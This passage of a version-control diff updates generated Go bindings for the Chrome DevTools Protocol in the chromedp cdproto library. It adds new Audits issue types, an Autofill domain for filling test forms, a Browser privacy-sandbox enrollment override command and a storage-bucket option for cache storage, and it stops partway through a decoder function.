FederatedAuthUserInfoRequestIssueReasonInvalidConfigOrWellKnown FederatedAuthUserInfoRequestIssueReason = "InvalidConfigOrWellKnown"
FederatedAuthUserInfoRequestIssueReasonInvalidAccountsResponse FederatedAuthUserInfoRequestIssueReason = "InvalidAccountsResponse"
FederatedAuthUserInfoRequestIssueReasonNoReturningUserFromFetchedAccounts FederatedAuthUserInfoRequestIssueReason = "NoReturningUserFromFetchedAccounts"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t FederatedAuthUserInfoRequestIssueReason) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t FederatedAuthUserInfoRequestIssueReason) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *FederatedAuthUserInfoRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
v := in.String()
switch FederatedAuthUserInfoRequestIssueReason(v) {
case FederatedAuthUserInfoRequestIssueReasonNotSameOrigin:
*t = FederatedAuthUserInfoRequestIssueReasonNotSameOrigin
case FederatedAuthUserInfoRequestIssueReasonNotIframe:
*t = FederatedAuthUserInfoRequestIssueReasonNotIframe
case FederatedAuthUserInfoRequestIssueReasonNotPotentiallyTrustworthy:
*t = FederatedAuthUserInfoRequestIssueReasonNotPotentiallyTrustworthy
case FederatedAuthUserInfoRequestIssueReasonNoAPIPermission:
*t = FederatedAuthUserInfoRequestIssueReasonNoAPIPermission
case FederatedAuthUserInfoRequestIssueReasonNotSignedInWithIdp:
*t = FederatedAuthUserInfoRequestIssueReasonNotSignedInWithIdp
case FederatedAuthUserInfoRequestIssueReasonNoAccountSharingPermission:
*t = FederatedAuthUserInfoRequestIssueReasonNoAccountSharingPermission
case FederatedAuthUserInfoRequestIssueReasonInvalidConfigOrWellKnown:
*t = FederatedAuthUserInfoRequestIssueReasonInvalidConfigOrWellKnown
case FederatedAuthUserInfoRequestIssueReasonInvalidAccountsResponse:
*t = FederatedAuthUserInfoRequestIssueReasonInvalidAccountsResponse
case FederatedAuthUserInfoRequestIssueReasonNoReturningUserFromFetchedAccounts:
*t = FederatedAuthUserInfoRequestIssueReasonNoReturningUserFromFetchedAccounts
default:
in.AddError(fmt.Errorf("unknown FederatedAuthUserInfoRequestIssueReason value: %v", v))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *FederatedAuthUserInfoRequestIssueReason) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// ClientHintIssueDetails this issue tracks client hints related issues. It's
// used to deprecate old features, encourage the use of new ones, and provide
// general guidance.
@@ -1186,6 +1257,131 @@ type ClientHintIssueDetails struct {
ClientHintIssueReason ClientHintIssueReason `json:"clientHintIssueReason"`
}
// FailedRequestInfo [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-FailedRequestInfo
type FailedRequestInfo struct {
URL string `json:"url"` // The URL that failed to load.
FailureMessage string `json:"failureMessage"` // The failure message for the failed request.
RequestID network.RequestID `json:"requestId,omitempty"`
}
// StyleSheetLoadingIssueReason [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-StyleSheetLoadingIssueReason
type StyleSheetLoadingIssueReason string
// String returns the StyleSheetLoadingIssueReason as string value.
func (t StyleSheetLoadingIssueReason) String() string {
return string(t)
}
// StyleSheetLoadingIssueReason values.
const (
StyleSheetLoadingIssueReasonLateImportRule StyleSheetLoadingIssueReason = "LateImportRule"
StyleSheetLoadingIssueReasonRequestFailed StyleSheetLoadingIssueReason = "RequestFailed"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t StyleSheetLoadingIssueReason) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t StyleSheetLoadingIssueReason) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *StyleSheetLoadingIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
v := in.String()
switch StyleSheetLoadingIssueReason(v) {
case StyleSheetLoadingIssueReasonLateImportRule:
*t = StyleSheetLoadingIssueReasonLateImportRule
case StyleSheetLoadingIssueReasonRequestFailed:
*t = StyleSheetLoadingIssueReasonRequestFailed
default:
in.AddError(fmt.Errorf("unknown StyleSheetLoadingIssueReason value: %v", v))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *StyleSheetLoadingIssueReason) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// StylesheetLoadingIssueDetails this issue warns when a referenced
// stylesheet couldn't be loaded.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-StylesheetLoadingIssueDetails
type StylesheetLoadingIssueDetails struct {
SourceCodeLocation *SourceCodeLocation `json:"sourceCodeLocation"` // Source code position that referenced the failing stylesheet.
StyleSheetLoadingIssueReason StyleSheetLoadingIssueReason `json:"styleSheetLoadingIssueReason"` // Reason why the stylesheet couldn't be loaded.
FailedRequestInfo *FailedRequestInfo `json:"failedRequestInfo,omitempty"` // Contains additional info when the failure was due to a request.
}
// PropertyRuleIssueReason [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-PropertyRuleIssueReason
type PropertyRuleIssueReason string
// String returns the PropertyRuleIssueReason as string value.
func (t PropertyRuleIssueReason) String() string {
return string(t)
}
// PropertyRuleIssueReason values.
const (
PropertyRuleIssueReasonInvalidSyntax PropertyRuleIssueReason = "InvalidSyntax"
PropertyRuleIssueReasonInvalidInitialValue PropertyRuleIssueReason = "InvalidInitialValue"
PropertyRuleIssueReasonInvalidInherits PropertyRuleIssueReason = "InvalidInherits"
PropertyRuleIssueReasonInvalidName PropertyRuleIssueReason = "InvalidName"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t PropertyRuleIssueReason) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t PropertyRuleIssueReason) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *PropertyRuleIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
v := in.String()
switch PropertyRuleIssueReason(v) {
case PropertyRuleIssueReasonInvalidSyntax:
*t = PropertyRuleIssueReasonInvalidSyntax
case PropertyRuleIssueReasonInvalidInitialValue:
*t = PropertyRuleIssueReasonInvalidInitialValue
case PropertyRuleIssueReasonInvalidInherits:
*t = PropertyRuleIssueReasonInvalidInherits
case PropertyRuleIssueReasonInvalidName:
*t = PropertyRuleIssueReasonInvalidName
default:
in.AddError(fmt.Errorf("unknown PropertyRuleIssueReason value: %v", v))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *PropertyRuleIssueReason) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// PropertyRuleIssueDetails this issue warns about errors in property rules
// that lead to property registrations being ignored.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-PropertyRuleIssueDetails
type PropertyRuleIssueDetails struct {
SourceCodeLocation *SourceCodeLocation `json:"sourceCodeLocation"` // Source code position of the property rule.
PropertyRuleIssueReason PropertyRuleIssueReason `json:"propertyRuleIssueReason"` // Reason why the property rule was discarded.
PropertyValue string `json:"propertyValue,omitempty"` // The value of the property rule property that failed to parse
}
// InspectorIssueCode a unique identifier for the type of issue. Each type
// may use one of the optional fields in InspectorIssueDetails to convey more
// specific information about the kind of issue.
@@ -1200,22 +1396,25 @@ func (t InspectorIssueCode) String() string {
// InspectorIssueCode values.
const (
InspectorIssueCodeCookieIssue InspectorIssueCode = "CookieIssue"
InspectorIssueCodeMixedContentIssue InspectorIssueCode = "MixedContentIssue"
InspectorIssueCodeBlockedByResponseIssue InspectorIssueCode = "BlockedByResponseIssue"
InspectorIssueCodeHeavyAdIssue InspectorIssueCode = "HeavyAdIssue"
InspectorIssueCodeContentSecurityPolicyIssue InspectorIssueCode = "ContentSecurityPolicyIssue"
InspectorIssueCodeSharedArrayBufferIssue InspectorIssueCode = "SharedArrayBufferIssue"
InspectorIssueCodeTrustedWebActivityIssue InspectorIssueCode = "TrustedWebActivityIssue"
InspectorIssueCodeLowTextContrastIssue InspectorIssueCode = "LowTextContrastIssue"
InspectorIssueCodeCorsIssue InspectorIssueCode = "CorsIssue"
InspectorIssueCodeAttributionReportingIssue InspectorIssueCode = "AttributionReportingIssue"
InspectorIssueCodeQuirksModeIssue InspectorIssueCode = "QuirksModeIssue"
InspectorIssueCodeNavigatorUserAgentIssue InspectorIssueCode = "NavigatorUserAgentIssue"
InspectorIssueCodeGenericIssue InspectorIssueCode = "GenericIssue"
InspectorIssueCodeDeprecationIssue InspectorIssueCode = "DeprecationIssue"
InspectorIssueCodeClientHintIssue InspectorIssueCode = "ClientHintIssue"
InspectorIssueCodeFederatedAuthRequestIssue InspectorIssueCode = "FederatedAuthRequestIssue"
InspectorIssueCodeCookieIssue InspectorIssueCode = "CookieIssue"
InspectorIssueCodeMixedContentIssue InspectorIssueCode = "MixedContentIssue"
InspectorIssueCodeBlockedByResponseIssue InspectorIssueCode = "BlockedByResponseIssue"
InspectorIssueCodeHeavyAdIssue InspectorIssueCode = "HeavyAdIssue"
InspectorIssueCodeContentSecurityPolicyIssue InspectorIssueCode = "ContentSecurityPolicyIssue"
InspectorIssueCodeSharedArrayBufferIssue InspectorIssueCode = "SharedArrayBufferIssue"
InspectorIssueCodeLowTextContrastIssue InspectorIssueCode = "LowTextContrastIssue"
InspectorIssueCodeCorsIssue InspectorIssueCode = "CorsIssue"
InspectorIssueCodeAttributionReportingIssue InspectorIssueCode = "AttributionReportingIssue"
InspectorIssueCodeQuirksModeIssue InspectorIssueCode = "QuirksModeIssue"
InspectorIssueCodeNavigatorUserAgentIssue InspectorIssueCode = "NavigatorUserAgentIssue"
InspectorIssueCodeGenericIssue InspectorIssueCode = "GenericIssue"
InspectorIssueCodeDeprecationIssue InspectorIssueCode = "DeprecationIssue"
InspectorIssueCodeClientHintIssue InspectorIssueCode = "ClientHintIssue"
InspectorIssueCodeFederatedAuthRequestIssue InspectorIssueCode = "FederatedAuthRequestIssue"
InspectorIssueCodeBounceTrackingIssue InspectorIssueCode = "BounceTrackingIssue"
InspectorIssueCodeStylesheetLoadingIssue InspectorIssueCode = "StylesheetLoadingIssue"
InspectorIssueCodeFederatedAuthUserInfoRequestIssue InspectorIssueCode = "FederatedAuthUserInfoRequestIssue"
InspectorIssueCodePropertyRuleIssue InspectorIssueCode = "PropertyRuleIssue"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
@@ -1244,8 +1443,6 @@ func (t *InspectorIssueCode) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = InspectorIssueCodeContentSecurityPolicyIssue
case InspectorIssueCodeSharedArrayBufferIssue:
*t = InspectorIssueCodeSharedArrayBufferIssue
case InspectorIssueCodeTrustedWebActivityIssue:
*t = InspectorIssueCodeTrustedWebActivityIssue
case InspectorIssueCodeLowTextContrastIssue:
*t = InspectorIssueCodeLowTextContrastIssue
case InspectorIssueCodeCorsIssue:
@@ -1264,6 +1461,14 @@ func (t *InspectorIssueCode) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = InspectorIssueCodeClientHintIssue
case InspectorIssueCodeFederatedAuthRequestIssue:
*t = InspectorIssueCodeFederatedAuthRequestIssue
case InspectorIssueCodeBounceTrackingIssue:
*t = InspectorIssueCodeBounceTrackingIssue
case InspectorIssueCodeStylesheetLoadingIssue:
*t = InspectorIssueCodeStylesheetLoadingIssue
case InspectorIssueCodeFederatedAuthUserInfoRequestIssue:
*t = InspectorIssueCodeFederatedAuthUserInfoRequestIssue
case InspectorIssueCodePropertyRuleIssue:
*t = InspectorIssueCodePropertyRuleIssue
default:
in.AddError(fmt.Errorf("unknown InspectorIssueCode value: %v", v))
@@ -1281,22 +1486,24 @@ func (t *InspectorIssueCode) UnmarshalJSON(buf []byte) error {
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-InspectorIssueDetails
type InspectorIssueDetails struct {
CookieIssueDetails *CookieIssueDetails `json:"cookieIssueDetails,omitempty"`
MixedContentIssueDetails *MixedContentIssueDetails `json:"mixedContentIssueDetails,omitempty"`
BlockedByResponseIssueDetails *BlockedByResponseIssueDetails `json:"blockedByResponseIssueDetails,omitempty"`
HeavyAdIssueDetails *HeavyAdIssueDetails `json:"heavyAdIssueDetails,omitempty"`
ContentSecurityPolicyIssueDetails *ContentSecurityPolicyIssueDetails `json:"contentSecurityPolicyIssueDetails,omitempty"`
SharedArrayBufferIssueDetails *SharedArrayBufferIssueDetails `json:"sharedArrayBufferIssueDetails,omitempty"`
TwaQualityEnforcementDetails *TrustedWebActivityIssueDetails `json:"twaQualityEnforcementDetails,omitempty"`
LowTextContrastIssueDetails *LowTextContrastIssueDetails `json:"lowTextContrastIssueDetails,omitempty"`
CorsIssueDetails *CorsIssueDetails `json:"corsIssueDetails,omitempty"`
AttributionReportingIssueDetails *AttributionReportingIssueDetails `json:"attributionReportingIssueDetails,omitempty"`
QuirksModeIssueDetails *QuirksModeIssueDetails `json:"quirksModeIssueDetails,omitempty"`
NavigatorUserAgentIssueDetails *NavigatorUserAgentIssueDetails `json:"navigatorUserAgentIssueDetails,omitempty"`
GenericIssueDetails *GenericIssueDetails `json:"genericIssueDetails,omitempty"`
DeprecationIssueDetails *DeprecationIssueDetails `json:"deprecationIssueDetails,omitempty"`
ClientHintIssueDetails *ClientHintIssueDetails `json:"clientHintIssueDetails,omitempty"`
FederatedAuthRequestIssueDetails *FederatedAuthRequestIssueDetails `json:"federatedAuthRequestIssueDetails,omitempty"`
CookieIssueDetails *CookieIssueDetails `json:"cookieIssueDetails,omitempty"`
MixedContentIssueDetails *MixedContentIssueDetails `json:"mixedContentIssueDetails,omitempty"`
BlockedByResponseIssueDetails *BlockedByResponseIssueDetails `json:"blockedByResponseIssueDetails,omitempty"`
HeavyAdIssueDetails *HeavyAdIssueDetails `json:"heavyAdIssueDetails,omitempty"`
ContentSecurityPolicyIssueDetails *ContentSecurityPolicyIssueDetails `json:"contentSecurityPolicyIssueDetails,omitempty"`
SharedArrayBufferIssueDetails *SharedArrayBufferIssueDetails `json:"sharedArrayBufferIssueDetails,omitempty"`
LowTextContrastIssueDetails *LowTextContrastIssueDetails `json:"lowTextContrastIssueDetails,omitempty"`
CorsIssueDetails *CorsIssueDetails `json:"corsIssueDetails,omitempty"`
AttributionReportingIssueDetails *AttributionReportingIssueDetails `json:"attributionReportingIssueDetails,omitempty"`
QuirksModeIssueDetails *QuirksModeIssueDetails `json:"quirksModeIssueDetails,omitempty"`
GenericIssueDetails *GenericIssueDetails `json:"genericIssueDetails,omitempty"`
DeprecationIssueDetails *DeprecationIssueDetails `json:"deprecationIssueDetails,omitempty"`
ClientHintIssueDetails *ClientHintIssueDetails `json:"clientHintIssueDetails,omitempty"`
FederatedAuthRequestIssueDetails *FederatedAuthRequestIssueDetails `json:"federatedAuthRequestIssueDetails,omitempty"`
BounceTrackingIssueDetails *BounceTrackingIssueDetails `json:"bounceTrackingIssueDetails,omitempty"`
StylesheetLoadingIssueDetails *StylesheetLoadingIssueDetails `json:"stylesheetLoadingIssueDetails,omitempty"`
PropertyRuleIssueDetails *PropertyRuleIssueDetails `json:"propertyRuleIssueDetails,omitempty"`
FederatedAuthUserInfoRequestIssueDetails *FederatedAuthUserInfoRequestIssueDetails `json:"federatedAuthUserInfoRequestIssueDetails,omitempty"`
}
// IssueID a unique id for a DevTools inspector issue. Allows other entities
+113
View File
@@ -0,0 +1,113 @@
// Package autofill provides the Chrome DevTools Protocol
// commands, types, and events for the Autofill domain.
//
// Defines commands and events for Autofill.
//
// Generated by the cdproto-gen command.
package autofill
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"context"
"github.com/chromedp/cdproto/cdp"
)
// TriggerParams trigger autofill on a form identified by the fieldId. If the
// field and related form cannot be autofilled, returns an error.
type TriggerParams struct {
FieldID cdp.BackendNodeID `json:"fieldId"` // Identifies a field that serves as an anchor for autofill.
FrameID cdp.FrameID `json:"frameId,omitempty"` // Identifies the frame that field belongs to.
Card *CreditCard `json:"card"` // Credit card information to fill out the form. Credit card data is not saved.
}
// Trigger trigger autofill on a form identified by the fieldId. If the field
// and related form cannot be autofilled, returns an error.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#method-trigger
//
// parameters:
//
// fieldID - Identifies a field that serves as an anchor for autofill.
// card - Credit card information to fill out the form. Credit card data is not saved.
func Trigger(fieldID cdp.BackendNodeID, card *CreditCard) *TriggerParams {
return &TriggerParams{
FieldID: fieldID,
Card: card,
}
}
// WithFrameID identifies the frame that field belongs to.
func (p TriggerParams) WithFrameID(frameID cdp.FrameID) *TriggerParams {
p.FrameID = frameID
return &p
}
// Do executes Autofill.trigger against the provided context.
func (p *TriggerParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandTrigger, p, nil)
}
// SetAddressesParams set addresses so that developers can verify their forms
// implementation.
type SetAddressesParams struct {
Addresses []*Address `json:"addresses"`
}
// SetAddresses set addresses so that developers can verify their forms
// implementation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#method-setAddresses
//
// parameters:
//
// addresses
func SetAddresses(addresses []*Address) *SetAddressesParams {
return &SetAddressesParams{
Addresses: addresses,
}
}
// Do executes Autofill.setAddresses against the provided context.
func (p *SetAddressesParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSetAddresses, p, nil)
}
// DisableParams disables autofill domain notifications.
type DisableParams struct{}
// Disable disables autofill domain notifications.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#method-disable
func Disable() *DisableParams {
return &DisableParams{}
}
// Do executes Autofill.disable against the provided context.
func (p *DisableParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandDisable, nil, nil)
}
// EnableParams enables autofill domain notifications.
type EnableParams struct{}
// Enable enables autofill domain notifications.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#method-enable
func Enable() *EnableParams {
return &EnableParams{}
}
// Do executes Autofill.enable against the provided context.
func (p *EnableParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandEnable, nil, nil)
}
// Command names.
const (
CommandTrigger = "Autofill.trigger"
CommandSetAddresses = "Autofill.setAddresses"
CommandDisable = "Autofill.disable"
CommandEnable = "Autofill.enable"
)
File diff suppressed because it is too large. Load diff
+11
View File
@@ -0,0 +1,11 @@
package autofill
// Code generated by cdproto-gen. DO NOT EDIT.
// EventAddressFormFilled emitted when an address form is filled.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#event-addressFormFilled
type EventAddressFormFilled struct {
FilledFields []*FilledField `json:"filledFields"` // Information about the fields that were filled
AddressUI *AddressUI `json:"addressUi"` // An UI representation of the address used to fill the form. Consists of a 2D array where each child represents an address/profile line.
}
+115
View File
@@ -0,0 +1,115 @@
package autofill
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"fmt"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
"github.com/mailru/easyjson/jwriter"
)
// CreditCard [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-CreditCard
type CreditCard struct {
Number string `json:"number"` // 16-digit credit card number.
Name string `json:"name"` // Name of the credit card owner.
ExpiryMonth string `json:"expiryMonth"` // 2-digit expiry month.
ExpiryYear string `json:"expiryYear"` // 4-digit expiry year.
Cvc string `json:"cvc"` // 3-digit card verification code.
}
// AddressField [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-AddressField
type AddressField struct {
Name string `json:"name"` // address field name, for example GIVEN_NAME.
Value string `json:"value"` // address field value, for example Jon Doe.
}
// AddressFields a list of address fields.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-AddressFields
type AddressFields struct {
Fields []*AddressField `json:"fields"`
}
// Address [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-Address
type Address struct {
Fields []*AddressField `json:"fields"` // fields and values defining an address.
}
// AddressUI defines how an address can be displayed like in
// chrome://settings/addresses. Address UI is a two dimensional array, each
// inner array is an "address information line", and when rendered in a UI
// surface should be displayed as such. The following address UI for instance:
// [[{name: "GIVE_NAME", value: "Jon"}, {name: "FAMILY_NAME", value: "Doe"}],
// [{name: "CITY", value: "Munich"}, {name: "ZIP", value: "81456"}]] should
// allow the receiver to render: Jon Doe Munich 81456.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-AddressUI
type AddressUI struct {
AddressFields []*AddressFields `json:"addressFields"` // A two dimension array containing the repesentation of values from an address profile.
}
// FillingStrategy specified whether a filled field was done so by using the
// html autocomplete attribute or autofill heuristics.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-FillingStrategy
type FillingStrategy string
// String returns the FillingStrategy as string value.
func (t FillingStrategy) String() string {
return string(t)
}
// FillingStrategy values.
const (
FillingStrategyAutocompleteAttribute FillingStrategy = "autocompleteAttribute"
FillingStrategyAutofillInferred FillingStrategy = "autofillInferred"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t FillingStrategy) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t FillingStrategy) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *FillingStrategy) UnmarshalEasyJSON(in *jlexer.Lexer) {
v := in.String()
switch FillingStrategy(v) {
case FillingStrategyAutocompleteAttribute:
*t = FillingStrategyAutocompleteAttribute
case FillingStrategyAutofillInferred:
*t = FillingStrategyAutofillInferred
default:
in.AddError(fmt.Errorf("unknown FillingStrategy value: %v", v))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *FillingStrategy) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// FilledField [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Autofill#type-FilledField
type FilledField struct {
HTMLType string `json:"htmlType"` // The type of the field, e.g text, password etc.
ID string `json:"id"` // the html id
Name string `json:"name"` // the html name
Value string `json:"value"` // the field value
AutofillType string `json:"autofillType"` // The actual field type, e.g FAMILY_NAME
FillingStrategy FillingStrategy `json:"fillingStrategy"` // The filling strategy
}
+45 -17
View File
@@ -579,23 +579,51 @@ func (p *ExecuteBrowserCommandParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandExecuteBrowserCommand, p, nil)
}
// AddPrivacySandboxEnrollmentOverrideParams allows a site to use privacy
// sandbox features that require enrollment without the site actually being
// enrolled. Only supported on page targets.
type AddPrivacySandboxEnrollmentOverrideParams struct {
URL string `json:"url"`
}
// AddPrivacySandboxEnrollmentOverride allows a site to use privacy sandbox
// features that require enrollment without the site actually being enrolled.
// Only supported on page targets.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-addPrivacySandboxEnrollmentOverride
//
// parameters:
//
// url
func AddPrivacySandboxEnrollmentOverride(url string) *AddPrivacySandboxEnrollmentOverrideParams {
return &AddPrivacySandboxEnrollmentOverrideParams{
URL: url,
}
}
// Do executes Browser.addPrivacySandboxEnrollmentOverride against the provided context.
func (p *AddPrivacySandboxEnrollmentOverrideParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandAddPrivacySandboxEnrollmentOverride, p, nil)
}
// Command names.
const (
CommandSetPermission = "Browser.setPermission"
CommandGrantPermissions = "Browser.grantPermissions"
CommandResetPermissions = "Browser.resetPermissions"
CommandSetDownloadBehavior = "Browser.setDownloadBehavior"
CommandCancelDownload = "Browser.cancelDownload"
CommandClose = "Browser.close"
CommandCrash = "Browser.crash"
CommandCrashGpuProcess = "Browser.crashGpuProcess"
CommandGetVersion = "Browser.getVersion"
CommandGetBrowserCommandLine = "Browser.getBrowserCommandLine"
CommandGetHistograms = "Browser.getHistograms"
CommandGetHistogram = "Browser.getHistogram"
CommandGetWindowBounds = "Browser.getWindowBounds"
CommandGetWindowForTarget = "Browser.getWindowForTarget"
CommandSetWindowBounds = "Browser.setWindowBounds"
CommandSetDockTile = "Browser.setDockTile"
CommandExecuteBrowserCommand = "Browser.executeBrowserCommand"
CommandSetPermission = "Browser.setPermission"
CommandGrantPermissions = "Browser.grantPermissions"
CommandResetPermissions = "Browser.resetPermissions"
CommandSetDownloadBehavior = "Browser.setDownloadBehavior"
CommandCancelDownload = "Browser.cancelDownload"
CommandClose = "Browser.close"
CommandCrash = "Browser.crash"
CommandCrashGpuProcess = "Browser.crashGpuProcess"
CommandGetVersion = "Browser.getVersion"
CommandGetBrowserCommandLine = "Browser.getBrowserCommandLine"
CommandGetHistograms = "Browser.getHistograms"
CommandGetHistogram = "Browser.getHistogram"
CommandGetWindowBounds = "Browser.getWindowBounds"
CommandGetWindowForTarget = "Browser.getWindowForTarget"
CommandSetWindowBounds = "Browser.setWindowBounds"
CommandSetDockTile = "Browser.setDockTile"
CommandExecuteBrowserCommand = "Browser.executeBrowserCommand"
CommandAddPrivacySandboxEnrollmentOverride = "Browser.addPrivacySandboxEnrollmentOverride"
)
+66
View File
@@ -2419,3 +2419,69 @@ func (v *Bounds) UnmarshalJSON(data []byte) error {
func (v *Bounds) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBrowser28(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBrowser29(in *jlexer.Lexer, out *AddPrivacySandboxEnrollmentOverrideParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "url":
out.URL = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBrowser29(out *jwriter.Writer, in AddPrivacySandboxEnrollmentOverrideParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"url\":"
out.RawString(prefix[1:])
out.String(string(in.URL))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v AddPrivacySandboxEnrollmentOverrideParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBrowser29(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v AddPrivacySandboxEnrollmentOverrideParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBrowser29(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *AddPrivacySandboxEnrollmentOverrideParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBrowser29(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *AddPrivacySandboxEnrollmentOverrideParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBrowser29(l, v)
}
+13 -4
View File
@@ -10,6 +10,7 @@ import (
"context"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/storage"
)
// DeleteCacheParams deletes a cache.
@@ -63,8 +64,9 @@ func (p *DeleteEntryParams) Do(ctx context.Context) (err error) {
// RequestCacheNamesParams requests cache names.
type RequestCacheNamesParams struct {
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey must be specified. Security origin.
StorageKey string `json:"storageKey,omitempty"` // Storage key.
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey, storageBucket must be specified. Security origin.
StorageKey string `json:"storageKey,omitempty"` // Storage key.
StorageBucket *storage.Bucket `json:"storageBucket,omitempty"` // Storage bucket. If not specified, it uses the default bucket.
}
// RequestCacheNames requests cache names.
@@ -76,8 +78,8 @@ func RequestCacheNames() *RequestCacheNamesParams {
return &RequestCacheNamesParams{}
}
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey
// must be specified. Security origin.
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey,
// storageBucket must be specified. Security origin.
func (p RequestCacheNamesParams) WithSecurityOrigin(securityOrigin string) *RequestCacheNamesParams {
p.SecurityOrigin = securityOrigin
return &p
@@ -89,6 +91,13 @@ func (p RequestCacheNamesParams) WithStorageKey(storageKey string) *RequestCache
return &p
}
// WithStorageBucket storage bucket. If not specified, it uses the default
// bucket.
func (p RequestCacheNamesParams) WithStorageBucket(storageBucket *storage.Bucket) *RequestCacheNamesParams {
p.StorageBucket = storageBucket
return &p
}
// RequestCacheNamesReturns return values.
type RequestCacheNamesReturns struct {
Caches []*Cache `json:"caches,omitempty"` // Caches for the security origin.
+36
View File
@@ -4,6 +4,7 @@ package cachestorage
import (
json "encoding/json"
storage "github.com/chromedp/cdproto/storage"
easyjson "github.com/mailru/easyjson"
jlexer "github.com/mailru/easyjson/jlexer"
jwriter "github.com/mailru/easyjson/jwriter"
@@ -556,6 +557,16 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCachestorage5(in *jlexer.Lexe
out.SecurityOrigin = string(in.String())
case "storageKey":
out.StorageKey = string(in.String())
case "storageBucket":
if in.IsNull() {
in.Skip()
